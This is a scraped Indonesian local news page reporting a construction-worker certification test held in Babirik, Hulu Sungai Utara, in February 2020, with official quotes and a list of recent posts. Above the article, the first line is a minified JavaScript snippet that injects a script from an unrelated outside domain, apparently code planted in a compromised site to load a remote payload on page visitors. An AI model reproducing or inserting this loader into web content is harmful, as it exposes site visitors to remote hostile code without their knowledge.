(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

200 Pekerja Konstruksi di Babirik Ikut Uji Sertifikasi Kompetensi


KANALKALIMANTAN, AMUNTAI – Sebanyak 200 tenaga kerja bidang konstruksi dari 7 desa di Kecamatan Babirik Kabupaten Hulu Sungai Utara  (HSU) ikut dalam kegiatan fasilitasi uji/sertifikasi tenaga kerja konstruksi yang diselenggarakan Kementerian Pekerjaan Umum Dan Perumahan Rakyat (PUPR), Direktorat Jenderal Bina Konstruksi Balai Jasa Konstruksi Wilayah V Banjarmasin.

Uji sertifikasi tenaga kerja konstruksi kerjasama dengan Dinas PUPRP Kabupaten HSU berlangsung di Balai Desa Murung Panti Hilir, Kecamantan Babirik, Kamis (20/2/2020).

Kegiatan dihadir Kepala Balai Jasa Konstruksi Wilayah V Banjarmasin  Ir Moody N Sanger, Surveyor Pemetaan Dinas PUPR HSU Nofi Yanti, Camat Babirik, Ketua Asosiasi Konstruksi Kabupaten HSU.

Uji sertifikasi tenaga kerja konstruksi kerjasama dengan Dinas PUPRP Kabupaten HSU berlangsung di Balai Desa Murung Panti Hilir, Kecamantan Babirik, Kamis (20/2/2020). foto : dew

Nofi Yanti, Surveyor Pemetaan Dinas PUPRP Kabupaten HSU mengatakan, kegiatan ini adalah untuk memenuhi syarat undang – undang yang mengatur tentang jasa konstruksi nomor 18 tahun 1999. Serta terkait Peraturan Menteri tentang pengadaan jasa konstruksi yang mana tenaga kerja konstruksi harus memiliki sertifikat, sebagai bukti kompetensi seseorang terhadap keahliannya.

“Sasaran yang hendak dicapai dari pelaksanaan kegiatan ini adalah masyarakat mendapatkan bukti pengakuan secara sah terhadap keterampilan yang dimiliki sesuai dengan keahliannya, meningkatkan kemampuan pengetahuan dalam proyek yang dapat menjadi sarana untuk meningkatkan karir secara profesional,” jelasnya.

Sementara itu, Kepala Balai Jasa Konstruksi Wilayah V Banjarmasin  Ir Moody N Sanger menekankan pentingnya memiliki sertifikat sebagai tanda profesional kerja.

“Selama berada ada di Indonesia, itu wajib memiliki sertifikat kompetensi kerja, saya yakin peserta sudah bekerja, menurut informasi kita akan memberi sertifikasi yang sudah memiliki pengalaman bekerja, kalo belum tentu belum bisa,” imbuhnya.

Camat Babirik Harrun Nurrasyid mengatakan, pembangunan infrastuktur membutuhkan tenaga ahli dan tenaga terampil,  tenaga ahli diperlukan ijazah untuk membuktikan keahliannya, sedangkan tenaga terampil harus punya sertifikat yang menunjukan dia benar-benar terampil sebagai pengganti ijazah. “Sebagai salah satu syarat dalam proses tender maka perusahaan harus melampirkan sertifikat keahlian dan keterampilan,” ujarnya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.